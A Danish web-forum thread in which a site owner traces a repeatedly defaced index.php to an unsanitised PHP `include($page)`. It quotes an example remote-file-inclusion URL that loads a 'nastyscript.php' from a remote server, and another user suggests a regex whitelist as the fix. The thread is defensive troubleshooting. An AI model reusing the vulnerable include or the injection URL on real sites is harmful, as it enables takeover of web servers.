Hjemmeside bliver hacket

Med stor sansynelighed har hun en eller anden færdig løsning, f.eks. et forum eller et cms system kørende som har en sårbarhed og som ikke er opdateret. Hvis dette er tilfældet, er det jeres problem da hullet ligger i et system i har installeret. Det kan teoretisk også lige i OS og web server og så er det udbyderen, men det er mest sansynligt at det er jeres del

Jooh..  Men der er sådan set ikke installeret andet end flade php sider.  den eneste grund til at der ikke er benyttet flade .HTML sider er at jeg har lavet en lille 1-linies php funktion der lægger et logo på alle sider.

..i så fald, hvad skal jeg være obs på, så de ikke kan skrive i min index.php? Det virker jo sært at de kan redigere i den, når de ikke har FTP adgang, så i min verden ligner det et ulukket hul i one.com's server..

..men igen..  Jeg kender intet til PHP/Apache, så jeg kan jo kun blive klogere..

Hov..  Der ligger problemet jo..  Jeg har en variabel include et sted lignende det her

<?php include( $page ); ?>

Jeg har en wrapper der lægger logo og layout på alle normale sider, men så kan man kalde det med et eksternt script, som vil blive loadet.
http://www.yourdomain.com/script.php?page=http://remoteserver.com/nastyscript.php

Min umiddelbare løsning vil være at teste om det er en lokal adresse inden jeg includer.

bufferzone får point fordi det ikke var helt hen i vejret, det han sagde.

Ja, du kan teste om det er en lokal adresse, men du kan også fjerne det 'farlige' indhold fra $_GET['page'] variablen.

$page="";
if(preg_match("/^[a-z0-9_\/]+$/", $_GET['page'])) { $page=$_GET['page'].".php"; }

if($page!="") { include($page); }

Så kan page kun indeholde bogstaverne a-z, tallene 0-9, underscore _ og skråstreger /

og derved er det ikke muligt at lave 'cross browser/server' ting. Funktionaliteten kan yderligere udvikles til f.eks. at sende dig en mail hvis nogen skriver noget 'vrøvl' i page variablen så kan du følge med i hvad en evt. 'forbryder' forsøger sig med. Desuden kan du lave en funktionalitet der selv undersøger om det er en .php, .htm, .pdf eller anden type af fil der efterspørges.

Mvh. Johan

Hovsa..  Denne har da stået åben et stykke tid..
johan.o, læg et svar, så får du point.

Kommer her.

Mvh. Johan

Hm, kommer det som svar eller indlæg??......ikke til at se, skal lige vende mig til det her nye design, har ikke været herinde i et stykke tid.